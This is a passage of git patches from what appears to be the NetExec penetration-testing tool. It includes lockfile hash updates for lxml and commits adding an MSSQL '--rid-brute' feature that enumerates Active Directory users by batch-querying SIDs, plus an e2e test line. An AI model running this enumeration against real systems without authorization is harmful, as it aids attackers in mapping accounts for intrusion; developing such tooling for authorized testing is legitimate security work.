"sha256:f422a209d2455c56849442ae42f25dbaaba1c6c3f501d58761c619c7836642ec"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:62f7fdb0d1ed2065451f086519865b4c90aa19aed51081979ecd05a21eb4d1be"}, + {file = "lxml-5.3.0-cp311-cp311-win32.whl", hash = "sha256:c6379f35350b655fd817cd0d6cbeef7f265f3ae5fedb1caae2eb442bbeae9ab9"}, + {file = "lxml-5.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:9c52100e2c2dbb0649b90467935c4b0de5528833c76a35ea1a2691ec9f1ee7a1"}, + {file = "lxml-5.3.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e99f5507401436fdcc85036a2e7dc2e28d962550afe1cbfc07c40e454256a859"}, + {file = "lxml-5.3.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:384aacddf2e5813a36495233b64cb96b1949da72bef933918ba5c84e06af8f0e"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:874a216bf6afaf97c263b56371434e47e2c652d215788396f60477540298218f"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65ab5685d56914b9a2a34d67dd5488b83213d680b0c5d10b47f81da5a16b0b0e"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aac0bbd3e8dd2d9c45ceb82249e8bdd3ac99131a32b4d35c8af3cc9db1657179"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b369d3db3c22ed14c75ccd5af429086f166a19627e84a8fdade3f8f31426e52a"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c24037349665434f375645fa9d1f5304800cec574d0310f618490c871fd902b3"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:62d172f358f33a26d6b41b28c170c63886742f5b6772a42b59b4f0fa10526cb1"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:c1f794c02903c2824fccce5b20c339a1a14b114e83b306ff11b597c5f71a1c8d"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:5d6a6972b93c426ace71e0be9a6f4b2cfae9b1baed2eed2006076a746692288c"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:3879cc6ce938ff4eb4900d901ed63555c778731a96365e53fadb36437a131a99"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:74068c601baff6ff021c70f0935b0c7bc528baa8ea210c202e03757c68c5a4ff"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:ecd4ad8453ac17bc7ba3868371bffb46f628161ad0eefbd0a855d2c8c32dd81a"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7e2f58095acc211eb9d8b5771bf04df9ff37d6b87618d1cbf85f92399c98dae8"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e63601ad5cd8f860aa99d109889b5ac34de571c7ee902d6812d5d9ddcc77fa7d"}, + {file = "lxml-5.3.0-cp312-cp312-win32.whl", hash = "sha256:17e8d968d04a37c50ad9c456a286b525d78c4a1c15dd53aa46c1d8e06bf6fa30"}, + {file = "lxml-5.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:c1a69e58a6bb2de65902051d57fde951febad631a20a64572677a1052690482f"}, + {file = "lxml-5.3.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8c72e9563347c7395910de6a3100a4840a75a6f60e05af5e58566868d5eb2d6a"}, + {file = "lxml-5.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e92ce66cd919d18d14b3856906a61d3f6b6a8500e0794142338da644260595cd"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d04f064bebdfef9240478f7a779e8c5dc32b8b7b0b2fc6a62e39b928d428e51"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c2fb570d7823c2bbaf8b419ba6e5662137f8166e364a8b2b91051a1fb40ab8b"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0c120f43553ec759f8de1fee2f4794452b0946773299d44c36bfe18e83caf002"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:562e7494778a69086f0312ec9689f6b6ac1c6b65670ed7d0267e49f57ffa08c4"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:423b121f7e6fa514ba0c7918e56955a1d4470ed35faa03e3d9f0e3baa4c7e492"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:c00f323cc00576df6165cc9d21a4c21285fa6b9989c5c39830c3903dc4303ef3"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:1fdc9fae8dd4c763e8a31e7630afef517eab9f5d5d31a278df087f307bf601f4"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:658f2aa69d31e09699705949b5fc4719cbecbd4a97f9656a232e7d6c7be1a367"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1473427aff3d66a3fa2199004c3e601e6c4500ab86696edffdbc84954c72d832"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a87de7dd873bf9a792bf1e58b1c3887b9264036629a5bf2d2e6579fe8e73edff"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0d7b36afa46c97875303a94e8f3ad932bf78bace9e18e603f2085b652422edcd"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cf120cce539453ae086eacc0130a324e7026113510efa83ab42ef3fcfccac7fb"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:df5c7333167b9674aa8ae1d4008fa4bc17a313cc490b2cca27838bbdcc6bb15b"}, + {file = "lxml-5.3.0-cp313-cp313-win32.whl", hash = "sha256:c802e1c2ed9f0c06a65bc4ed0189d000ada8049312cfeab6ca635e39c9608957"}, + {file = "lxml-5.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:406246b96d552e0503e17a1006fd27edac678b3fcc9f1be71a2f94b4ff61528d"}, + {file = "lxml-5.3.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8f0de2d390af441fe8b2c12626d103540b5d850d585b18fcada58d972b74a74e"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1afe0a8c353746e610bd9031a630a95bcfb1a720684c3f2b36c4710a0a96528f"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:56b9861a71575f5795bde89256e7467ece3d339c9b43141dbdd54544566b3b94"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:9fb81d2824dff4f2e297a276297e9031f46d2682cafc484f49de182aa5e5df99"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2c226a06ecb8cdef28845ae976da407917542c5e6e75dcac7cc33eb04aaeb237"}, + {file = "lxml-5.3.0-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:7d3d1ca42870cdb6d0d29939630dbe48fa511c203724820fc0fd507b2fb46577"}, + {file = "lxml-5.3.0-cp36-cp36m-win32.whl", hash = "sha256:094cb601ba9f55296774c2d57ad68730daa0b13dc260e1f941b4d13678239e70"}, + {file = "lxml-5.3.0-cp36-cp36m-win_amd64.whl", hash = "sha256:eafa2c8658f4e560b098fe9fc54539f86528651f61849b22111a9b107d18910c"}, + {file = "lxml-5.3.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:cb83f8a875b3d9b458cada4f880fa498646874ba4011dc974e071a0a84a1b033"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:25f1b69d41656b05885aa185f5fdf822cb01a586d1b32739633679699f220391"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23e0553b8055600b3bf4a00b255ec5c92e1e4aebf8c2c09334f8368e8bd174d6"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ada35dd21dc6c039259596b358caab6b13f4db4d4a7f8665764d616daf9cc1d"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:81b4e48da4c69313192d8c8d4311e5d818b8be1afe68ee20f6385d0e96fc9512"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:2bc9fd5ca4729af796f9f59cd8ff160fe06a474da40aca03fcc79655ddee1a8b"}, + {file = "lxml-5.3.0-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:07da23d7ee08577760f0a71d67a861019103e4812c87e2fab26b039054594cc5"}, + {file = "lxml-5.3.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:ea2e2f6f801696ad7de8aec061044d6c8c0dd4037608c7cab38a9a4d316bfb11"}, + {file = "lxml-5.3.0-cp37-cp37m-win32.whl", hash = "sha256:5c54afdcbb0182d06836cc3d1be921e540be3ebdf8b8a51ee3ef987537455f84"}, + {file = "lxml-5.3.0-cp37-cp37m-win_amd64.whl", hash = "sha256:f2901429da1e645ce548bf9171784c0f74f0718c3f6150ce166be39e4dd66c3e"}, + {file = "lxml-5.3.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c56a1d43b2f9ee4786e4658c7903f05da35b923fb53c11025712562d5cc02753"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ee8c39582d2652dcd516d1b879451500f8db3fe3607ce45d7c5957ab2596040"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdf3a3059611f7585a78ee10399a15566356116a4288380921a4b598d807a22"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:146173654d79eb1fc97498b4280c1d3e1e5d58c398fa530905c9ea50ea849b22"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:0a7056921edbdd7560746f4221dca89bb7a3fe457d3d74267995253f46343f15"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:9e4b47ac0f5e749cfc618efdf4726269441014ae1d5583e047b452a32e221920"}, + {file = "lxml-5.3.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:f914c03e6a31deb632e2daa881fe198461f4d06e57ac3d0e05bbcab8eae01945"}, + {file = "lxml-5.3.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:213261f168c5e1d9b7535a67e68b1f59f92398dd17a56d934550837143f79c42"}, + {file = "lxml-5.3.0-cp38-cp38-win32.whl", hash = "sha256:218c1b2e17a710e363855594230f44060e2025b05c80d1f0661258142b2add2e"}, + {file = "lxml-5.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:315f9542011b2c4e1d280e4a20ddcca1761993dda3afc7a73b01235f8641e903"}, + {file = "lxml-5.3.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1ffc23010330c2ab67fac02781df60998ca8fe759e8efde6f8b756a20599c5de"}, + {file = "lxml-5.3.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2b3778cb38212f52fac9fe913017deea2fdf4eb1a4f8e4cfc6b009a13a6d3fcc"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b0c7a688944891086ba192e21c5229dea54382f4836a209ff8d0a660fac06be"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:747a3d3e98e24597981ca0be0fd922aebd471fa99d0043a3842d00cdcad7ad6a"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:86a6b24b19eaebc448dc56b87c4865527855145d851f9fc3891673ff97950540"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b11a5d918a6216e521c715b02749240fb07ae5a1fefd4b7bf12f833bc8b4fe70"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68b87753c784d6acb8a25b05cb526c3406913c9d988d51f80adecc2b0775d6aa"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:109fa6fede314cc50eed29e6e56c540075e63d922455346f11e4d7a036d2b8cf"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:02ced472497b8362c8e902ade23e3300479f4f43e45f4105c85ef43b8db85229"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:6b038cc86b285e4f9fea2ba5ee76e89f21ed1ea898e287dc277a25884f3a7dfe"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:7437237c6a66b7ca341e868cda48be24b8701862757426852c9b3186de1da8a2"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7f41026c1d64043a36fda21d64c5026762d53a77043e73e94b71f0521939cc71"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:482c2f67761868f0108b1743098640fbb2a28a8e15bf3f47ada9fa59d9fe08c3"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:1483fd3358963cc5c1c9b122c80606a3a79ee0875bcac0204149fa09d6ff2727"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2dec2d1130a9cda5b904696cec33b2cfb451304ba9081eeda7f90f724097300a"}, + {file = "lxml-5.3.0-cp39-cp39-win32.whl", hash = "sha256:a0eabd0a81625049c5df745209dc7fcef6e2aea7793e5f003ba363610aa0a3ff"}, + {file = "lxml-5.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:89e043f1d9d341c52bf2af6d02e6adde62e0a46e6755d5eb60dc6e4f0b8aeca2"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7b1cd427cb0d5f7393c31b7496419da594fe600e6fdc4b105a54f82405e6626c"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:51806cfe0279e06ed8500ce19479d757db42a30fd509940b1701be9c86a5ff9a"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee70d08fd60c9565ba8190f41a46a54096afa0eeb8f76bd66f2c25d3b1b83005"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:8dc2c0395bea8254d8daebc76dcf8eb3a95ec2a46fa6fae5eaccee366bfe02ce"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6ba0d3dcac281aad8a0e5b14c7ed6f9fa89c8612b47939fc94f80b16e2e9bc83"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:6e91cf736959057f7aac7adfc83481e03615a8e8dd5758aa1d95ea69e8931dba"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:94d6c3782907b5e40e21cadf94b13b0842ac421192f26b84c45f13f3c9d5dc27"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c300306673aa0f3ed5ed9372b21867690a17dba38c68c44b287437c362ce486b"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78d9b952e07aed35fe2e1a7ad26e929595412db48535921c5013edc8aa4a35ce"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:01220dca0d066d1349bd6a1726856a78f7929f3878f7e2ee83c296c69495309e"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:2d9b8d9177afaef80c53c0a9e30fa252ff3036fb1c6494d427c066a4ce6a282f"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:20094fc3f21ea0a8669dc4c61ed7fa8263bd37d97d93b90f28fc613371e7a875"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ace2c2326a319a0bb8a8b0e5b570c764962e95818de9f259ce814ee666603f19"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:92e67a0be1639c251d21e35fe74df6bcc40cba445c2cda7c4a967656733249e2"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd5350b55f9fecddc51385463a4f67a5da829bc741e38cf689f38ec9023f54ab"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c1fefd7e3d00921c44dc9ca80a775af49698bbfd92ea84498e56acffd4c5469"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:71a8dd38fbd2f2319136d4ae855a7078c69c9a38ae06e0c17c73fd70fc6caad8"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:97acf1e1fd66ab53dacd2c35b319d7e548380c2e9e8c54525c6e76d21b1ae3b1"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:68934b242c51eb02907c5b81d138cb977b2129a0a75a8f8b60b01cb8586c7b21"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b710bc2b8292966b23a6a0121f7a6c51d45d2347edcc75f016ac123b8054d3f2"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18feb4b93302091b1541221196a2155aa296c363fd233814fa11e181adebc52f"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:3eb44520c4724c2e1a57c0af33a379eee41792595023f367ba3952a2d96c2aab"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:609251a0ca4770e5a8768ff902aa02bf636339c5a93f9349b48eb1f606f7f3e9"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:516f491c834eb320d6c843156440fe7fc0d50b33e44387fcec5b02f0bc118a4c"}, + {file = "lxml-5.3.0.tar.gz", hash = "sha256:4e109ca30d1edec1ac60cdbe341905dc3b8f55b16855e03a54aaf59e51ec8c6f"}, ] [package.extras] cssselect = ["cssselect (>=0.7)"] +html-clean = ["lxml-html-clean"] html5 = ["html5lib"] htmlsoup = ["BeautifulSoup4"] -source = ["Cython (>=0.29.35)"] +source = ["Cython (>=3.0.11)"] [[package]] name = "markdown-it-py" @@ -2447,4 +2494,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.10.0" -content-hash = "65140872bd2a7ae06b4bf273c575159ba49cd04a60acd5bf77794d852d65e1c1" +content-hash = "b102ff826faf73e87da291e242fcdb95294a641c8d8ab8590d9b47f73d6375b6" From 29e239469ee36f063abbbdffc0327335ea891c54 Mon Sep 17 00:00:00 2001 From: Adamkadaban Date: Sat, 23 Nov 2024 15:20:13 -0500 Subject: [PATCH 100/376] add initial poc --- nxc/protocols/mssql.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index a7dac3b1..3d4a2fd8 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -15,6 +15,7 @@ from nxc.protocols.mssql.mssqlexec import MSSQLEXEC from impacket import tds, ntlm from impacket.krb5.ccache import CCache +from impacket.dcerpc.v5.dtypes import SID from impacket.tds import ( SQLErrorException, TDS_LOGINACK_TOKEN, @@ -416,3 +417,30 @@ class mssql(connection): else: _type = f"{key['Type']:d}" return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})" + + def rid_brute(self, max_rid=None): + entries = [] + if not max_rid: + max_rid = int(self.args.rid_brute) + + + + domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""] + raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] + domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] + for rid in range(500, max_rid + 1): + query = f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{rid:d}'))" + user = self.conn.sql_query(query)[0][""] + if user == "NULL": + continue + sid_type = "SID TYPE?" + self.logger.highlight(f"{rid}: {user} ({sid_type})") + entries.append( + { + "rid": rid, + "domain": domain, + "username": user.split("\\")[1], + #"sidtype": sid_type, #?? + } + ) + return entries \ No newline at end of file From 9b5317c234ad80dad9c127869ad97cd7fd25a379 Mon Sep 17 00:00:00 2001 From: Adamkadaban Date: Sat, 23 Nov 2024 15:20:24 -0500 Subject: [PATCH 101/376] add rid-brute argument for mssql --- nxc/protocols/mssql/proto_args.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index 1bb5363f..b810ccea 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -29,4 +29,6 @@ def proto_args(parser, parents): tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt") tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") + mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") + mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") return parser \ No newline at end of file From 3b58928ab281969520565e01201214c675b10690 Mon Sep 17 00:00:00 2001 From: Adamkadaban Date: Sat, 23 Nov 2024 15:28:57 -0500 Subject: [PATCH 102/376] add batch query --- nxc/protocols/mssql.py | 54 ++++++++++++++++++++++++++++++------------ 1 file changed, 39 insertions(+), 15 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 3d4a2fd8..631d8942 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -428,19 +428,43 @@ class mssql(connection): domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""] raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] - for rid in range(500, max_rid + 1): - query = f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{rid:d}'))" - user = self.conn.sql_query(query)[0][""] - if user == "NULL": - continue - sid_type = "SID TYPE?" - self.logger.highlight(f"{rid}: {user} ({sid_type})") - entries.append( - { - "rid": rid, - "domain": domain, - "username": user.split("\\")[1], - #"sidtype": sid_type, #?? - } - ) + + so_far = 0 + simultaneous = 1000 + for _j in range(max_rid // simultaneous + 1): + sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous + if sids_to_check == 0: + break + sid_queries = [f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)] + + raw_output = self.conn.sql_query(";".join(sid_queries)) + + for n, item in enumerate(raw_output): + username = item[""] + if username == "NULL": + continue + rid = so_far + n + sid_type = "SID TYPE ??" + self.logger.highlight(f"{rid}: {username} ({sid_type})") + entries.append( + { + "rid": rid, + "domain": domain, + "username": username.split("\\")[1], + } + ) + + so_far += simultaneous + # if user == "NULL": + # continue + # sid_type = "SID TYPE?" + # + # entries.append( + # { + # "rid": rid, + # "domain": domain, + # "username": user.split("\\")[1], + # #"sidtype": sid_type, #?? + # } + # ) return entries \ No newline at end of file From 6534a4592b722019d4c5e20eec12018d1d3abca9 Mon Sep 17 00:00:00 2001 From: Adamkadaban Date: Sat, 23 Nov 2024 15:34:57 -0500 Subject: [PATCH 103/376] remove sid type. unsure if there is any way to query this --- nxc/protocols/mssql.py | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 631d8942..efe3cdf5 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -444,8 +444,7 @@ class mssql(connection): if username == "NULL": continue rid = so_far + n - sid_type = "SID TYPE ??" - self.logger.highlight(f"{rid}: {username} ({sid_type})") + self.logger.highlight(f"{rid}: {username}") entries.append( { "rid": rid, @@ -455,16 +454,4 @@ class mssql(connection): ) so_far += simultaneous - # if user == "NULL": - # continue - # sid_type = "SID TYPE?" - # - # entries.append( - # { - # "rid": rid, - # "domain": domain, - # "username": user.split("\\")[1], - # #"sidtype": sid_type, #?? - # } - # ) return entries \ No newline at end of file From 07554152db7d3317f51fb8e2e378c3fd784e9a7c Mon Sep 17 00:00:00 2001 From: Adamkadaban Date: Sat, 23 Nov 2024 15:47:45 -0500 Subject: [PATCH 104/376] add e2e test --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 321aa9bb..717c3c45 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -213,6 +213,7 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p ##### MSSQL netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute ##### MSSQL PowerShell netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 From b76c84876700e78104e1d3644d56e1b015ca6da1 Mon Sep 17 00:00:00 2001 From: Adamkadaban Date: Sat, 23 Nov 2024 15:52:05 -0500 Subject: [PATCH 105/376] comment code --- nxc/protocols/mssql.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index efe3cdf5..9c95f132 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -423,9 +423,10 @@ class mssql(connection): if not max_rid: max_rid = int(self.args.rid_brute) - - + # Query domain domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""] + + # Query known group to determine raw SID & convert to canon raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] @@ -435,8 +436,9 @@ class mssql(connection): sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous if sids_to_check == 0: break + + # Batch query multiple sids at a time sid_queries = [f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)] - raw_output = self.conn.sql_query(";".join(sid_queries)) for n, item in enumerate(raw_output): From 977a3d60a3d1a7a17849416ae586ed66484c260a Mon Sep 17 